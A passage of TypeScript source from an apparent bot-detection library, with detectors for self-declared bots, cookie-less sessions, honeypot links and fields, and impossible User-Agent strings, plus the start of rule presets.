botClass: \"declared-bot\",\n metadata: { userAgent: ctx.ua.raw.slice(0, 200) },\n });\n } else {\n // A contact and nothing else. Applications put their own homepage or support\n // address in a User-Agent, and the people behind those are people, so this\n // is the weakest thing this detector emits rather than the strongest.\n results.push({\n detector: \"self-identified\",\n summary: \"User-Agent carries a URL or address but does not describe itself as automated\",\n direction: \"bot\",\n certainty: \"weak\",\n weight: 0.15,\n metadata: { userAgent: ctx.ua.raw.slice(0, 200) },\n });\n }\n }\n\n // A bare product token with no browser preamble: `MyService/1.0`. Not in the\n // database, so we cannot name it, but the *shape* is one browsers never emit —\n // and custom internal clients are exactly what this catches, which is why it\n // stays short of certainty and points you at the allowlist.\n if (results.length === 0 && ctx.ua.shape === \"library\") {\n results.push({\n detector: \"self-identified\",\n summary: `User-Agent is a bare client token with no browser preamble: \"${ctx.ua.raw.slice(0, 80)}\"`,\n direction: \"bot\",\n certainty: \"strong\",\n botClass: \"http-client\",\n metadata: { userAgent: ctx.ua.raw.slice(0, 200), products: ctx.ua.products.map((product) => product.name).slice(0, 6) },\n });\n }\n\n // A completely absent User-Agent. Common in scripts, and also produced by some\n // stripped-down proxies and privacy tooling — which is exactly why it is only\n // suggestive. It is a genuinely weak signal that earns its place by combining.\n if (results.length === 0 && ctx.ua.shape === \"empty\" && absenceIsMeaningful(ctx)) {\n results.push({\n detector: \"self-identified\",\n summary: \"Request sent no User-Agent header\",\n direction: \"bot\",\n certainty: \"moderate\",\n botClass: \"http-client\",\n metadata: { userAgent: null },\n });\n }\n\n return results.length > 0 ? results : undefined;\n },\n };\n}\n\nfunction classFor(category: BotCategory): BotClass {\n switch (category) {\n case \"library\":\n return \"http-client\";\n case \"headless\":\n return \"automation\";\n case \"security\":\n return \"scanner\";\n case \"seo\":\n return \"scraper\";\n case \"embedded\":\n // Honest answer: an embedded webview says nothing about whether a person is\n // driving it. Naming it \"automation\" would be asserting something we do not know.\n return \"unknown\";\n default:\n return \"declared-bot\";\n }\n}\n","import { claimsBrowser } from \"../internal/ua.js\";\nimport { absenceIsMeaningful } from \"./types.js\";\nimport type { Detector, DetectionContext } from \"./types.js\";\nimport type { Evidence } from \"../types.js\";\n\nexport interface SessionIntegrityOptions {\n /** Requests from one actor before a total absence of cookies is worth reporting. Default 12. */\n minRequests?: number;\n /** Also report navigations that carry no Referer. Default true. */\n checkReferer?: boolean;\n}\n\n/**\n * Does this client behave like something that holds a session?\n *\n * A browser accumulates state. Once your server has set anything at all — a session\n * cookie, a consent flag, an A/B bucket — a real browser sends it back on every\n * subsequent request, forever. A stateless HTTP client sends nothing back no matter\n * how many times it visits, because it discards the response headers it does not\n * care about.\n *\n * A dozen requests from one actor with not a single cookie is therefore a decent\n * tell. It is only `moderate`, though, and the reason is worth internalising: the\n * population that blocks all cookies is real people who have gone out of their way\n * to protect their privacy. Escalating on this signal alone punishes precisely the\n * users least deserving of it, which is the argument this library's whole design\n * exists to make.\n */\nexport function sessionIntegrityDetector(options: SessionIntegrityOptions = {}): Detector {\n const minRequests = options.minRequests ?? 12;\n const checkReferer = options.checkReferer ?? true;\n\n return {\n id: \"session-integrity\",\n description: \"Reports clients that claim to be browsers but never carry session state or navigation context\",\n cost: \"cheap\",\n stage: \"always\",\n\n inspect(ctx: DetectionContext): Evidence[] | undefined {\n // Every check here is an argument from absence.\n if (!claimsBrowser(ctx.ua) || !absenceIsMeaningful(ctx)) return undefined;\n const results: Evidence[] = [];\n const { headers } = ctx.facts;\n\n if (ctx.state.total >= minRequests && headers[\"cookie\"] === undefined) {\n results.push({\n detector: \"session-integrity\",\n summary: `${ctx.state.total} requests from this actor, none carrying any cookie`,\n direction: \"bot\",\n certainty: \"moderate\",\n weight: 0.3,\n botClass: \"scraper\",\n family: \"no-session\",\n metadata: { requests: ctx.state.total },\n });\n }\n\n // A same-site *navigation* with no Referer. Browsers send one when following a\n // link; the referrer policy can suppress it, so this is only a nudge.\n //\n // The navigation check is load-bearing rather than decorative: subresources and\n // fetch() calls routinely carry no Referer by design, and an earlier version\n // that tested only `sec-fetch-site` fired on every image a page loaded.\n const isNavigation = headers[\"sec-fetch-mode\"] === \"navigate\" || headers[\"sec-fetch-dest\"] === \"document\";\n if (checkReferer && isNavigation && headers[\"sec-fetch-site\"] === \"same-origin\" && headers[\"referer\"] === undefined) {\n results.push({\n detector: \"session-integrity\",\n summary: \"Same-origin navigation arrived with no Referer\",\n direction: \"bot\",\n certainty: \"weak\",\n weight: 0.12,\n botClass: \"scraper\",\n family: \"no-session\",\n metadata: { path: ctx.facts.path },\n });\n }\n\n return results.length > 0 ? results : undefined;\n },\n };\n}\n","import type { Detector, DetectionContext } from \"./types.js\";\nimport type { Evidence } from \"../types.js\";\n\nexport interface TrapOptions {\n /**\n * Paths that exist only to be found by something that reads markup rather than\n * renders it. Matched exactly, or as a prefix when the entry ends in `/`.\n */\n paths?: readonly string[];\n /**\n * Names of form fields that are present in your HTML, hidden from people, and must\n * therefore arrive empty. Anything that fills one filled it by parsing the form.\n *\n * **You have to hand the submitted values over.** The engine reads no request body,\n * deliberately — doing so would mean consuming the stream before your own parser\n * sees it. A hidden field in a `method=\"post\"` form therefore arrives in the body,\n * where nothing here can see it, so a query-string-only check would silently never\n * fire for the forms honeypots are actually put on: sign-up, contact, comment,\n * login. Put the parsed fields in `facts.extra.formFields` — see\n * {@link TRAP_FIELD_SOURCE} — and this reads them alongside the query string.\n */\n formFields?: readonly string[];\n /** Header a trap link may carry, if you prefer marking traps out-of-band. */\n headerName?: string;\n}\n\n/**\n * Where {@link trapDetector} looks for submitted form fields, inside `facts.extra`.\n *\n * ```ts\n * botHandler(handler, {\n * enrich: (request, facts) => ({ ...facts, extra: { [TRAP_FIELD_SOURCE]: request.body } }),\n * });\n * ```\n *\n * Values are read as strings; anything else is ignored rather than coerced, because\n * this feeds a `certain` verdict and `String(someObject)` is not evidence of anything.\n */\nexport const TRAP_FIELD_SOURCE = \"formFields\";\n\n/** Trap paths installed unless you replace them. Chosen to look like something worth fetching. */\nexport const DEFAULT_TRAP_PATHS: readonly string[] = [\"/internal/export.csv\", \"/api/v1/all-users\", \"/sitemap-index-full.xml\"];\n\n/**\n * Bait. The one detector whose evidence needs no statistics at all.\n *\n * A trap is a link or a form field that exists in your HTML but is unreachable by a\n * person: hidden from layout, hidden from assistive technology, and excluded in\n * `robots.txt`. There is no sequence of clicks, keystrokes or gestures that gets a\n * human to it. Something that requests it read your markup and followed every href\n * it found, which is the definition of automation.\n *\n * This is `certain` for a reason that no header check can match: it does not model\n * what bots look like, it constructs a situation only a bot can be in. Detection by\n * construction rather than by inference, and consequently the one signal whose\n * false-positive rate does not depend on how well the internet is behaving today.\n *\n * Three things must all be true for that guarantee to hold, and they are your\n * responsibility, not the library's:\n *\n * 1. The trap must be **invisible and unfocusable** — use {@link renderTrapLink},\n * which handles `aria-hidden`, `tabindex=\"-1\"` and `rel=\"nofollow\"` together.\n * 2. The path must be **disallowed in robots.txt** — see {@link trapRobotsEntries} —\n * so a well-behaved crawler you *want* is not punished for being thorough.\n * 3. The path must **serve nothing real**, now or ever. A trap that later becomes a\n * working endpoint turns into a source of false positives that will be very hard\n * to diagnose.\n */\nexport function trapDetector(options: TrapOptions = {}): Detector {\n const exact = new Set<string>();\n const prefixes: string[] = [];\n for (const path of options.paths ?? DEFAULT_TRAP_PATHS) {\n if (path.endsWith(\"/\")) prefixes.push(path);\n else exact.add(path);\n }\n const formFields = new Set(options.formFields ?? []);\n const headerName = options.headerName?.toLowerCase();\n\n return {\n id: \"trap\",\n description: \"Fires when a request touches a path, form field or header that only automated markup-following can reach\",\n cost: \"cheap\",\n stage: \"always\",\n\n inspect(ctx: DetectionContext): Evidence | undefined {\n const { path, query, headers } = ctx.facts;\n\n if (exact.has(path) || prefixes.some((prefix) => path.startsWith(prefix))) {\n return {\n detector: \"trap\",\n summary: `Requested trap path ${path}`,\n direction: \"bot\",\n certainty: \"certain\",\n botClass: \"scraper\",\n deterministicBasis:\n \"This path is linked only from markup that is hidden from layout and from assistive technology, and is disallowed in robots.txt. No sequence of user input reaches it; requesting it means the client parsed the HTML and followed every link it contained.\",\n metadata: { path, trap: \"path\" },\n };\n }\n\n if (formFields.size > 0) {\n const submitted = submittedFields(ctx.facts.extra);\n for (const field of formFields) {\n const value = query[field] ?? submitted?.[field];\n if (typeof value === \"string\" && value.length > 0) {\n return {\n detector: \"trap\",\n summary: `Filled the hidden form field \"${field}\"`,\n direction: \"bot\",\n certainty: \"certain\",\n botClass: \"scraper\",\n deterministicBasis:\n \"This field is rendered hidden and is not reachable by keyboard, pointer or assistive technology. A non-empty value can only have been produced by a client that enumerated the form's inputs.\",\n metadata: { field, trap: \"form-field\", source: query[field] !== undefined ? \"query\" : \"body\" },\n };\n }\n }\n }\n\n if (headerName !== undefined && headers[headerName] !== undefined) {\n return {\n detector: \"trap\",\n summary: `Sent the trap header ${headerName}`,\n direction: \"bot\",\n certainty: \"certain\",\n botClass: \"scraper\",\n deterministicBasis: `The header ${headerName} appears only on trap links in hidden markup. A browser attaches it only if something followed such a link.`,\n metadata: { header: headerName, trap: \"header\" },\n };\n }\n\n return undefined;\n },\n };\n}\n\n/** Reads the caller's parsed form fields out of `facts.extra`, tolerating any shape. */\nfunction submittedFields(extra: Record<string, unknown> | undefined): Record<string, unknown> | undefined {\n const source = extra?.[TRAP_FIELD_SOURCE];\n return typeof source === \"object\" && source !== null ? (source as Record<string, unknown>) : undefined;\n}\n\nexport interface TrapLinkOptions {\n /** Visible-to-nobody label. Something plausible to a parser, e.g. \"Full export\". */\n label?: string;\n}\n\n/**\n * Renders a trap link as HTML, with every attribute needed for the guarantee above.\n *\n * `aria-hidden` and `tabindex=\"-1\"` together remove it from both the visual and the\n * accessibility tree, so screen-reader and keyboard-only users — who are otherwise\n * the group most at risk from clever traps — can never reach it. `rel=\"nofollow\"`\n * asks search engines not to follow it, and belt-and-braces with `robots.txt`.\n *\n * The output is static and contains no interpolated user input, so it is safe to\n * inline. Emit it once, near the end of `<body>`.\n */\nexport function renderTrapLink(path: string, options: TrapLinkOptions = {}): string {\n const label = escapeHtml(options.label ?? \"Archive index\");\n const href = escapeHtml(path);\n return `<a href=\"${href}\" rel=\"nofollow noindex\" aria-hidden=\"true\" tabindex=\"-1\" style=\"position:absolute;left:-10000px;top:auto;width:1px;height:1px;overflow:hidden\">${label}</a>`;\n}\n\n/**\n * Renders a hidden honeypot form field. Give it a name a form-filler will want to\n * complete — `email_confirm`, `website` — and register that name in `formFields`.\n *\n * If the form is a POST — and the forms worth protecting are — the value arrives in\n * the body, which this library never reads. Pass your parsed body through\n * {@link TRAP_FIELD_SOURCE}, or the field will be rendered, filled, and ignored.\n */\nexport function renderTrapField(name: string): string {\n const safe = escapeHtml(name);\n return `<div aria-hidden=\"true\" style=\"position:absolute;left:-10000px;top:auto;width:1px;height:1px;overflow:hidden\"><label for=\"${safe}\">Leave this field empty</label><input type=\"text\" id=\"${safe}\" name=\"${safe}\" tabindex=\"-1\" autocomplete=\"off\" value=\"\"></div>`;\n}\n\n/**\n * `robots.txt` lines that exclude your traps.\n *\n * Publish these. A crawler that obeys `robots.txt` is exactly the kind you want to\n * keep, and it is unfair — and bad for your search ranking — to catch it in a net it\n * had no way to see. The bots this detector is for ignore `robots.txt` entirely,\n * which is the point.\n */\nexport function trapRobotsEntries(paths: readonly string[] = DEFAULT_TRAP_PATHS): string {\n return [\"User-agent: *\", ...paths.map((path) => `Disallow: ${path}`)].join(\"\\n\");\n}\n\nfunction escapeHtml(value: string): string {\n return value.replace(/[&<>\"']/g, (character) => {\n switch (character) {\n case \"&\":\n return \"&amp;\";\n case \"<\":\n return \"&lt;\";\n case \">\":\n return \"&gt;\";\n case '\"':\n return \"&quot;\";\n default:\n return \"&#39;\";\n }\n });\n}\n","import { MAX_USER_AGENT_LENGTH, claimsBrowser } from \"../internal/ua.js\";\nimport type { Detector, DetectionContext } from \"./types.js\";\nimport type { Evidence } from \"../types.js\";\n\n/**\n * Does this User-Agent contradict *itself*?\n *\n * Every other single-request detector compares the User-Agent against something else\n * — the Client Hints, the header set, the header order. This one needs nothing but\n * the string, which makes it the only consistency check that still works on a source\n * with no headers at all: an nginx access line, a CDN log, a WAF event. That is not a\n * small population, and until now every one of those requests reached the engine with\n * exactly one usable detector.\n *\n * What it looks for is a string describing a client that has never existed. Two\n * rendering engines at once. Two operating systems at once. Chrome on an iPhone,\n * where Apple's rules mean Chrome is WebKit and says `CriOS`. A browser preamble no\n * browser has emitted since 2009. These are not \"unusual\" — they are impossible, and\n * they are what a User-Agent *randomiser* produces, because randomisers assemble a\n * string from independent lists of browsers, versions and platforms and never check\n * that the combination is one that ships.\n *\n * **Why none of it is `certain`.** The same reason `client-hints` is not: the client\n * controls this string end to end, and the population that rewrites it badly includes\n * privacy extensions, enterprise UA policies, developer emulation, and a long tail of\n * embedded devices whose vendor concatenated two templates. A self-contradiction is\n * excellent evidence that the string is fabricated; it is not evidence about who\n * fabricated it, and a person with a UA-spoofing extension has fabricated one too.\n *\n * The version-versus-platform checks are deliberately the weakest thing here, because\n * the \"impossible\" combination is only impossible on the vendor's own builds. Chrome\n * ended Windows 7 support at 109, and Supermium and Thorium then shipped Chrome 120+\n * on Windows 7 to a real, if small, population. Reported as `moderate`; never more.\n */\nexport function uaCoherenceDetector(): Detector {\n return {\n id: \"ua-coherence\",\n description: \"Reads the User-Agent against itself: engines, platforms and versions that never shipped together\",\n cost: \"cheap\",\n stage: \"always\",\n\n inspect(ctx: DetectionContext): Evidence[] | undefined {\n const ua = ctx.ua;\n if (ua.shape === \"empty\" || ua.raw.length === 0) return undefined;\n const lower = ua.lower;\n const results: Evidence[] = [];\n\n // --- Two engines in one string. ---\n //\n // Gecko never carries `AppleWebKit`, WebKit never carries `Firefox/`, and\n // Trident predates both. Chromium claims `AppleWebKit/537.36 (KHTML, like\n // Gecko)` for historical compatibility, which is why the pairs below are stated\n // as explicit product tokens rather than as engine families.\n const engines: string[] = [];\n if (lower.includes(\"firefox/\")) engines.push(\"Firefox\");\n if (lower.includes(\"chrome/\") || lower.includes(\"chromium/\")) engines.push(\"Chrome\");\n if (lower.includes(\"trident/\") || lower.includes(\"msie \")) engines.push(\"Trident\");\n if (engines.length > 1) {\n results.push({\n detector: \"ua-coherence\",\n summary: `User-Agent claims ${engines.join(\" and \")} at once, which is not a browser that exists`,\n direction: \"bot\",\n certainty: \"strong\",\n weight: 0.7,\n botClass: \"impersonator\",\n family: \"ua-rewritten\",\n metadata: { engines, userAgent: ua.raw.slice(0, 200) },\n });\n } else if (lower.includes(\"firefox/\") && lower.includes(\"applewebkit/\")) {\n // Firefox on iOS is the exception that proves this: it is WebKit, and it says\n // `FxiOS`, never `Firefox/`.\n results.push({\n detector: \"ua-coherence\",\n summary: \"User-Agent claims Firefox but also claims the AppleWebKit engine, which Gecko never reports\",\n direction: \"bot\",\n certainty: \"strong\",\n weight: 0.65,\n botClass: \"impersonator\",\n family: \"ua-rewritten\",\n metadata: { userAgent: ua.raw.slice(0, 200) },\n });\n }\n\n // --- Two platforms in one string. ---\n const platforms = platformTokens(lower);\n if (platforms.length > 1) {\n results.push({\n detector: \"ua-coherence\",\n summary: `User-Agent names ${platforms.join(\" and \")} in the same string`,\n direction: \"bot\",\n certainty: \"strong\",\n weight: 0.65,\n botClass: \"impersonator\",\n family: \"ua-rewritten\",\n metadata: { platforms, userAgent: ua.raw.slice(0, 200) },\n });\n }\n\n // --- Chrome and Firefox on iOS. ---\n //\n // Apple's App Store rules require every iOS browser to use the system WebKit, so\n // Chrome for iOS reports `CriOS` and Firefox for iOS reports `FxiOS`. A string\n // that says `iPhone` and `Chrome/` is describing a build that Apple does not\n // permit to exist.\n const isApplePhone = lower.includes(\"iphone\") || lower.includes(\"ipad\") || lower.includes(\"ipod\");\n if (isApplePhone && lower.includes(\"chrome/\") && !lower.includes(\"crios/\")) {\n results.push({\n detector: \"ua-coherence\",\n summary: \"User-Agent claims Chrome on an iOS device, which reports CriOS because iOS browsers must use WebKit\",\n direction: \"bot\",\n certainty: \"strong\",\n weight: 0.6,\n botClass: \"impersonator\",\n family: \"ua-rewritten\",\n metadata: { userAgent: ua.raw.slice(0, 200) },\n });\n }\n if (isApplePhone && lower.includes(\"firefox/\") && !lower.includes(\"fxios/\")) {\n results.push({\n detector: \"ua-coherence\",\n summary: \"User-Agent claims Firefox on an iOS device, which reports FxiOS because iOS browsers must use WebKit\",\n direction: \"bot\",\n certainty: \"strong\",\n weight: 0.6,\n botClass: \"impersonator\",\n family: \"ua-rewritten\",\n metadata: { userAgent: ua.raw.slice(0, 200) },\n });\n }\n\n // --- The preamble. ---\n //\n // Every mainstream browser since Netscape has opened with `Mozilla/5.0`. The\n // check is scoped to strings that claim a browser, so a library sending\n // `MyService/1.0` is left to `self-identified`, which reads it correctly as a\n // bare product token rather than as a browser telling a lie.\n if (claimsBrowser(ua) && !lower.startsWith(\"mozilla/5.0\")) {\n results.push({\n detector: \"ua-coherence\",\n summary: `User-Agent claims ${ua.browser} but does not open with the Mozilla/5.0 preamble every browser sends`,\n direction: \"bot\",\n certainty: lower.startsWith(\"mozilla/\") ? \"moderate\" : \"strong\",\n weight: lower.startsWith(\"mozilla/\") ? 0.35 : 0.55,\n botClass: \"impersonator\",\n family: \"ua-rewritten\",\n metadata: { userAgent: ua.raw.slice(0, 200) },\n });\n }\n\n // --- A version nothing has shipped. ---\n //\n // A band rather than a ceiling that goes stale: browsers are at 1xx and gain\n // roughly ten majors a year, so 400 is comfortably beyond anything real for the\n // next two decades, and a zero major is a template somebody forgot to fill in.\n //\n // Safari is excluded, and the reason is a genuine trap. Its product token\n // carries the *WebKit build* — `Safari/605.1.15` — while the marketing version\n // lives in a separate `Version/18.7` token, so the number this parser reads for\n // Safari is six hundred and something on every Mac and iPhone on the internet.\n // The corpus caught it: every Safari case scored 28 for owning a version that\n // \"has never shipped\".\n const major = ua.majorVersion;\n const versionIsMarketing = ua.browser !== undefined && ua.browser !== \"safari\";\n if (claimsBrowser(ua) && versionIsMarketing && major !== undefined && (major === 0 || major > 400)) {\n results.push({\n detector: \"ua-coherence\",\n summary: `User-Agent reports ${ua.browser} version ${major}, which no release has ever carried`,\n direction: \"bot\",\n certainty: \"moderate\",\n weight: 0.4,\n botClass: \"impersonator\",\n family: \"ua-rewritten\",\n metadata: { browser: ua.browser, majorVersion: major },\n });\n }\n\n // --- A browser version its stated platform never received. ---\n const stranded = strandedRelease(lower, ua.browser, major);\n if (stranded !== undefined) {\n results.push({\n detector: \"ua-coherence\",\n summary: stranded.summary,\n direction: \"bot\",\n // Deliberately the weakest thing this detector emits. The vendor stopped\n // shipping; third-party forks did not, and the people running them are\n // people.\n certainty: \"moderate\",\n weight: 0.3,\n botClass: \"impersonator\",\n family: \"ua-rewritten\",\n metadata: { ...stranded.metadata, note: \"Forks such as Supermium and Thorium ship current Chromium on retired Windows releases\" },\n });\n }\n\n // --- Structural damage. ---\n //\n // A UA assembled by string concatenation, or truncated by something in the\n // middle, tends to leave the parentheses unbalanced. Real clients never do, but\n // an intermediary that truncates a long header can produce it for a real\n // browser, so this is a nudge.\n // A string that hit the parser's length cap was truncated by us, so its\n // parentheses are unbalanced by our own doing.\n if (ua.raw.length < MAX_USER_AGENT_LENGTH && unbalanced(ua.raw)) {\n results.push({\n detector: \"ua-coherence\",\n summary: \"User-Agent has unbalanced parentheses, the mark of a string assembled or truncated in transit\",\n direction: \"bot\",\n certainty: \"weak\",\n weight: 0.2,\n botClass: \"impersonator\",\n family: \"ua-rewritten\",\n metadata: { userAgent: ua.raw.slice(0, 200) },\n });\n }\n\n return results.length > 0 ? results : undefined;\n },\n };\n}\n\n/**\n * Operating systems the string names, at most one of which can be true.\n *\n * The overlaps are the whole difficulty. Android User-Agents contain `Linux`, and iOS\n * User-Agents contain `like Mac OS X` — so a naive scan for platform words reports a\n * contradiction on every phone on the internet. Each family below is therefore\n * recognised by a token the others do not carry, and the more specific families are\n * tested first.\n */\nfunction platformTokens(lower: string): string[] {\n const found: string[] = [];\n if (lower.includes(\"iphone\") || lower.includes(\"ipad\") || lower.includes(\"ipod\")) found.push(\"iOS\");\n if (lower.includes(\"android\")) found.push(\"Android\");\n if (lower.includes(\"windows nt\") || lower.includes(\"windows phone\")) found.push(\"Windows\");\n // `Macintosh` rather than `Mac OS X`: iOS says \"CPU iPhone OS 17_0 like Mac OS X\",\n // and Android never says either. Safari on an iPad in desktop mode sends the\n // Macintosh string *without* an iPad token, so the pair cannot collide there.\n if (lower.includes(\"macintosh\")) found.push(\"macOS\");\n return found;\n}\n\ninterface StrandedRelease {\n summary: string;\n metadata: Record<string, unknown>;\n}\n\n/**\n * A browser major version paired with a platform release that never received it.\n *\n * Only the two transitions that are documented, dated and enormous are encoded here.\n * A table of every vendor's support matrix would be a maintenance burden that goes\n * quietly wrong, and \"quietly wrong\" in this library means accusing somebody.\n */\nfunction strandedRelease(lower: string, browser: string | undefined, major: number | undefined): StrandedRelease | undefined {\n if (major === undefined || !Number.isFinite(major)) return undefined;\n\n const windowsVersion = readWindowsVersion(lower);\n if (windowsVersion === undefined) return undefined;\n const isChromium = browser === \"chrome\" || browser === \"chromium\" || browser === \"edg\" || browser === \"opr\";\n\n // Windows XP and Vista: Chrome stopped at 49 in April 2016, Firefox at 52 ESR.\n if (windowsVersion <= 6.0) {\n if (isChromium && major > 49) {\n return {\n summary: `User-Agent claims Chromium ${major} on Windows ${windowsVersion === 6.0 ? \"Vista\" : \"XP\"}, which Google last supported at version 49`,\n metadata: { browser, majorVersion: major, windowsVersion },\n };\n }\n if (browser === \"firefox\" && major > 52) {\n return {\n summary: `User-Agent claims Firefox ${major} on Windows ${windowsVersion === 6.0 ? \"Vista\" : \"XP\"}, which Mozilla last supported at 52 ESR`,\n metadata: { browser, majorVersion: major, windowsVersion },\n };\n }\n return undefined;\n }\n\n // Windows 7 and 8.x: Chrome stopped at 109 in January 2023, Firefox at 115 ESR.\n if (windowsVersion <= 6.3) {\n if (isChromium && major > 109) {\n return {\n summary: `User-Agent claims Chromium ${major} on Windows ${windowsVersion === 6.1 ? \"7\" : \"8\"}, which Google last supported at version 109`,\n metadata: { browser, majorVersion: major, windowsVersion },\n };\n }\n if (browser === \"firefox\" && major > 115) {\n return {\n summary: `User-Agent claims Firefox ${major} on Windows ${windowsVersion === 6.1 ? \"7\" : \"8\"}, which Mozilla last supported at 115 ESR`,\n metadata: { browser, majorVersion: major, windowsVersion },\n };\n }\n }\n\n return undefined;\n}\n\n/** Reads the `Windows NT x.y` version as a number, e.g. 6.1 for Windows 7. */\nfunction readWindowsVersion(lower: string): number | undefined {\n const at = lower.indexOf(\"windows nt \");\n if (at === -1) return undefined;\n const match = /^(\\d{1,2})(?:\\.(\\d))?/.exec(lower.slice(at + 11, at + 17));\n if (match === null) return undefined;\n const value = Number.parseFloat(match[2] === undefined ? match[1]! : `${match[1]}.${match[2]}`);\n return Number.isFinite(value) ? value : undefined;\n}\n\n/** Whether the parentheses in a User-Agent close. Bounded scan; never throws. */\nfunction unbalanced(raw: string): boolean {\n let depth = 0;\n for (let i = 0; i < raw.length; i++) {\n const code = raw.charCodeAt(i);\n if (code === 0x28) depth++;\n else if (code === 0x29) {\n depth--;\n if (depth < 0) return true;\n }\n }\n return depth !== 0;\n}\n","import { acceptSignatureDetector } from \"./accept-signature.js\";\nimport { browsingCoherenceDetector } from \"./browsing-coherence.js\";\nimport { cadenceDetector } from \"./cadence.js\";\nimport { clientHintsDetector } from \"./client-hints.js\";\nimport { crawlBreadthDetector } from \"./crawl-breadth.js\";\nimport { crawlerVerificationDetector } from \"./crawler-verification.js\";\nimport { fetchMetadataDetector } from \"./fetch-metadata.js\";\nimport { headerIntegrityDetector } from \"./header-integrity.js\";\nimport { headerOrderDetector } from \"./header-order.js\";\nimport { ipIntelligenceDetector } from \"./ip-intelligence.js\";\nimport { probeSignatureDetector } from \"./probe-signature.js\";\nimport { rateAnomalyDetector } from \"./rate-anomaly.js\";\nimport { selfIdentifiedDetector } from \"./self-identified.js\";\nimport { sessionIntegrityDetector } from \"./session-integrity.js\";\nimport { trapDetector } from \"./trap.js\";\nimport { uaCoherenceDetector } from \"./ua-coherence.js\";\nimport type { Detector } from \"./types.js\";\n\nexport type { DetectionContext, Detector, DetectorResult } from \"./types.js\";\nexport { evidence, absenceIsMeaningful } from \"./types.js\";\n\nexport { selfIdentifiedDetector } from \"./self-identified.js\";\nexport type { SelfIdentifiedOptions } from \"./self-identified.js\";\nexport { crawlerVerificationDetector } from \"./crawler-verification.js\";\nexport type { CrawlerVerificationOptions } from \"./crawler-verification.js\";\nexport { headerIntegrityDetector } from \"./header-integrity.js\";\nexport type { HeaderIntegrityOptions } from \"./header-integrity.js\";\nexport { clientHintsDetector } from \"./client-hints.js\";\nexport { fetchMetadataDetector } from \"./fetch-metadata.js\";\nexport { acceptSignatureDetector } from \"./accept-signature.js\";\nexport { headerOrderDetector, headerOrderFingerprint } from \"./header-order.js\";\nexport type { HeaderOrderOptions } from \"./header-order.js\";\nexport { rateAnomalyDetector } from \"./rate-anomaly.js\";\nexport type { RateAnomalyOptions } from \"./rate-anomaly.js\";\nexport { cadenceDetector } from \"./cadence.js\";\nexport type { CadenceOptions } from \"./cadence.js\";\nexport { crawlBreadthDetector } from \"./crawl-breadth.js\";\nexport type { CrawlBreadthOptions } from \"./crawl-breadth.js\";\nexport { sessionIntegrityDetector } from \"./session-integrity.js\";\nexport type { SessionIntegrityOptions } from \"./session-integrity.js\";\nexport { identityRotationDetector } from \"./identity-rotation.js\";\nexport type { IdentityRotationOptions } from \"./identity-rotation.js\";\nexport { TRAP_FIELD_SOURCE, trapDetector, renderTrapLink, renderTrapField, trapRobotsEntries, DEFAULT_TRAP_PATHS } from \"./trap.js\";\nexport type { TrapOptions, TrapLinkOptions } from \"./trap.js\";\nexport { ipIntelligenceDetector } from \"./ip-intelligence.js\";\nexport type { IpIntelligenceOptions } from \"./ip-intelligence.js\";\nexport { tlsFingerprintDetector } from \"./tls-fingerprint.js\";\nexport type { TlsFingerprintOptions, FingerprintProfile } from \"./tls-fingerprint.js\";\nexport { clearanceDetector } from \"./clearance.js\";\nexport { uaCoherenceDetector } from \"./ua-coherence.js\";\nexport { probeSignatureDetector } from \"./probe-signature.js\";\nexport type { ProbeSignatureOptions } from \"./probe-signature.js\";\nexport { browsingCoherenceDetector } from \"./browsing-coherence.js\";\nexport { clientSignalsDetector } from \"./client-signals.js\";\nexport type { ClientSignalsOptions } from \"./client-signals.js\";\n\nexport { BOT_SIGNATURES, BENIGN_CATEGORIES, compileSignatures, indexSignatures } from \"./known-bots.js\";\nexport type { BotSignature, BotCategory, Verification } from \"./known-bots.js\";\n\n/**\n * The detector set installed when you configure none.\n *\n * Two are missing on purpose, and both omissions are about false positives rather\n * than about cost:\n *\n * - `identityRotationDetector` fires on any address that fronts several browsers,\n * which describes every corporate NAT and mobile carrier on the internet. It is\n * valuable, but only once your `actorKey` is narrower than an IP.\n * - `tlsFingerprintDetector` needs a fingerprint from your edge and a profile table\n * you maintain. With neither it is inert; with a stale table it misfires on anyone\n * running a browser newer than your data.\n *\n * `clearanceDetector` is not here either, because it needs the challenge service —\n * the engine adds it automatically once `challenge.secrets` is configured.\n */\nexport function defaultDetectors(): Detector[] {\n return [\n // Identity first: a self-declaration or a verified crawler settles the question\n // outright, and the engine can then skip everything that would only add nuance.\n selfIdentifiedDetector(),\n trapDetector(),\n ipIntelligenceDetector(),\n probeSignatureDetector(),\n // Single-request consistency.\n headerIntegrityDetector(),\n uaCoherenceDetector(),\n clientHintsDetector(),\n fetchMetadataDetector(),\n acceptSignatureDetector(),\n headerOrderDetector(),\n // Behaviour across requests.\n rateAnomalyDetector(),\n cadenceDetector(),\n crawlBreadthDetector(),\n sessionIntegrityDetector(),\n // The other side of the argument: what a real browsing session looks like.\n browsingCoherenceDetector(),\n // Confirming stage: only runs when an identity was claimed.\n crawlerVerificationDetector(),\n ];\n}\n","import type { Rule } from \"./types.js\";\n\n/**\n * Ready-made rule sets.\n *\n * Each is a starting point to read, adapt and own — not a black box. Every rule\n * carries an id, so you can see exactly which one fired in a decision and replace\n * just that one.\n *\n * All of them assume the default `strict` guard, which means even the harshest rule\n * here cannot deny an unproven request. Choose a preset for the *shape* of the policy;\n * the guard decides how far it is allowed to go.\n */\n\n/**\n * Watch and learn. Nothing is ever withheld from anybody.\n *\n * Run this first, for at least a week, on real traffic. Every bot policy that has\n * ever caused an outage was deployed straight to enforcement by someone who was sure\n * they knew what their traffic looked like.\n */\nexport function monitorOnly(): Rule[] {\n return [\n { id: \"verified-crawler-allow\", match: { verdict: \"verified-bot\" }, action: \"allow\", reason: \"Crawler identity confirmed against its operator's DNS or published ranges.\" },\n { id: \"observe-confirmed\", match: { certain: true }, action: \"log\", reason: \"Proven automation. Recording only — this policy withholds nothing.\" },\n { id: \"observe-suspected\", match: { verdict: \"suspected-bot\" }, action: \"log\", reason: \"Suspected automation. Recording only.\" },\n ];\n}\n\n/**\n * Sensible defaults for a public content site.\n *\n * Keeps the crawlers that bring traffic, slows the ones that only take it, challenges\n * what is probably automated, and blocks only what has proven itself.\n */\nexport function protectContent(): Rule[] {\n return [\n { id: \"cleared-human-allow\", match: { verdict: \"human\", certain: true }, action: \"allow\", reason: \"Your application asserted this is a person. Nothing below should second-guess that.\" },\n { id: \"verified-crawler-allow\", match: { verdict: \"verified-bot\" }, action: \"allow\", reason: \"Confirmed search or social crawler — the traffic you want.\" },\n { id: \"impersonator-block\", match: { botClass: \"impersonator\", certain: true }, action: \"block\", params: { status: 403 }, reason: \"Forged a verifiable third-party crawler identity. Proven by DNS, not inferred.\" },\n { 